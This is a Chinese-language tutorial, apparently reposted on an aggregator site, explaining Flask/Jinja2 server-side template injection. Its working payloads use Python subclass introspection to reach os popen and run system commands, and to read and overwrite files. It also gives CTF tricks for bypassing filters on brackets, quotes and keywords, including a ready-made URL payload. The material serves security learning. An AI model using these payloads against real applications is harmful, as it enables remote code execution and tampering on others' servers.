flask模板注入(ssti),一篇就够了

这篇具有很好参考价值的文章主要介绍了flask模板注入(ssti),一篇就够了。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.什么是flask?

 

flask是用python编写的一个轻量web开发框架

2.ssti成因

flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入

本地演示(需要自行安装flask,requests模块)

flask模板注入(ssti),一篇就够了

flask模板注入(ssti),一篇就够了

通过输入参数key可以进行简单的渲染,创造新的网页

flask模板注入(ssti),一篇就够了

当我们把render_template 换成render_template_string后,并对参数不进行处理

flask模板注入(ssti),一篇就够了

看看结果

flask模板注入(ssti),一篇就够了

代码执行了,发生了注入

3.flask基础知识

所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object

__class__:返回当前类(输入abc,是字符串类,除此以外还有元组类,字典类等)

 

flask模板注入(ssti),一篇就够了

__mor__:返回解析函数时,类的调用顺序,本例先调用str类,再调用object类,通过索引的方式__mor[1],就可返回object类

flask模板注入(ssti),一篇就够了

 

flask模板注入(ssti),一篇就够了

当然还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问

print('abc'.__class__.__bases__[0].__subclasses__())
print('abc'.__class__.__base__.__subclasses__())这两者一样)

flask模板注入(ssti),一篇就够了

flask模板注入(ssti),一篇就够了 

__subclass__():返回当前类所有的子类,可通过索引的方式定位某一个子类

flask模板注入(ssti),一篇就够了

有很多,通过len()可以查看其长度,但我们需要可以进行系统命令的os._wrap_close类

于是我们需要定位该类,我们可以通过如下代码进行定位,不同的python版本,位置可能不同,我的版本是3.9,该类的位置在134,(当然也可以引入os模块,快速进行定位)

flask模板注入(ssti),一篇就够了

flask模板注入(ssti),一篇就够了

 

接下来,就可以继续往下了__init__(初始化方法),再通过__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行(如我执行的ipconfig) 

flask模板注入(ssti),一篇就够了

还可以利用__builtins__下的open进行文件的读取:代码如下

print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())

flask模板注入(ssti),一篇就够了

我们还可以通过写入的方式修改文件内容

print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456'))

 原来1.txt里面的内容是abcdef,现在修改为123456

这里返回的是文件内容的长度

flask模板注入(ssti),一篇就够了

我们打开文件发现内容已经修改成功,成功达到了RCE

flask模板注入(ssti),一篇就够了一些ctf比赛技巧

1.如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换

print('abc'.__class__.__base__.__subclasses__().__getitem__(134))

flask模板注入(ssti),一篇就够了

 再比如

print('abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get('popen')('dir').read())

2.如果引号被过滤可以采用以下方式在url中实现

?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

flask模板注入(ssti),一篇就够了

 

 flask模板注入(ssti),一篇就够了

3.如果关键字被过滤,可以通过__getattribute__('__'+'cla'+'ss'+'__')类似的手法进行绕过

flask模板注入(ssti),一篇就够了 

 

 

 

 

    文章来源地址https://www.toymoban.com/news/detail-465508.html

到了这里,关于flask模板注入(ssti),一篇就够了的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据

    2024年02月10日
    浏览(60)
  • 什么?你还不知道什么是C++ 预处理器?看这一篇就够了~

    目录 C++ 预处理器 #define 预处理 参数宏 条件编译 # 和 ## 运算符

    2024年02月07日
    浏览(45)
  • 一键绕过ID锁激活,为什么很多人都会失败?绕ID这一篇就够了

    最近阳了所以暂时断更,你们也要注意身体,最好不要阳 现在绕ID的方法已经非常完善,一个小白选手只要有设备就可以正常绕过ID, 总的来说绕ID分为两个步骤:第一步是手机的越狱 ,这里只能是用checkra1n越狱(不是用爱思越狱,切记只能checkra1n,需准备一台Mac系统的电脑

    2024年01月15日
    浏览(152)
  • 计组一篇就够了

    1.2.1计算机工作过程 1.2.4计算机性能指标 机器字长、指令字长、存储字长的区别和联系是什么? 机器字长:计算机能直接处理的二进制数据的位数,机器字长一般等于内部寄存器的大小, 它决定了计算机的运算精度 。 指令字长:一个指令字中包含的二进制代码的位数。 存

    2024年02月01日
    浏览(38)
  • 浅谈CAS,一篇就够了

    wshanshi:喵桑说,我总结完CAS就带我去吃羊蝎子火锅…干饭那必须整起啊… CAS:Compare and Swap。从字面意义上来说,就是先进行比较,然后替换。 它是乐观锁思想的一种实现,尤其是在并发量大的业务场景下保证单个实例的原子性,使用较为频繁。java类库中java.util.concurrent.

    2024年03月13日
    浏览(42)
  • python入门,一篇就够了

    函数必须写注释:文档注释格式 \\\'\\\'\\\'注释内容\\\'\\\'\\\' 参数中的等号两边不要用空格 相邻函数用两个空行隔开 小写 + 下划线 函数名 模块名 实例名 驼峰法 类名 结构化类型,有一系列的属性和类型 标量类型,此对象无可访问的内部对象 python 中,整型相除默认是浮点型 建议:使用

    2024年02月15日
    浏览(38)
  • Spark入门(一篇就够了)

    声明 : 本文为大数据肌肉猿公众号的《5W字总结Spark》的学习笔记,如有侵权请联系本人删除! Spark 知识图谱如下: Spark 是当今大数据领域最活跃、最热门、最高效的大数据通用计算平台之一 。 Hadoop 之父 Doug Cutting 指出:Use of MapReduce engine for Big Data projects will decline, repla

    2024年02月03日
    浏览(40)
  • 搞懂flyaway一篇就够了

    Flyway是一个用于数据库迁移的开源工具,它可以帮助开发人员轻松地管理数据库架构的变化。Flyway通过迁移来更新数据库,迁移可以使用特定于数据库的SQL语法或者用于高级数据库转换的Java编写。Flyway支持两种类型的迁移:有版本的迁移和可重复的迁移。有版本的迁移具有唯

    2024年02月03日
    浏览(42)
  • docker入门,这一篇就够了。

    Docker容器虚拟化平台。 今天跟大家分享一下我的docker学习历程,也算是我的独特的复习笔记,我会在这一篇中讲清楚docker几乎所有的功能。不过也是我第一次写,而且是一篇两万多字的长文,花了我半个月里所有的休闲娱乐时间,所以写的不好的地方请大家见谅,也请在评论

    2024年02月03日
    浏览(56)
  • 学习SpringSecurity这一篇就够了

    案例源码地址:https://gitee.com/gzl_com/spring-security.git 1.1、概要 Spring Security 是 Spring 家族中的成员。Spring Security 基于 Spring 框架,提供了一套 Web 应用安全性的完整解决方案。 安全方面的两个主要区域是“ 认证 ”和“ 授权 ”。在Web 应用又称之为 用户认证 和 用户授权 两个部

    2024年02月11日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包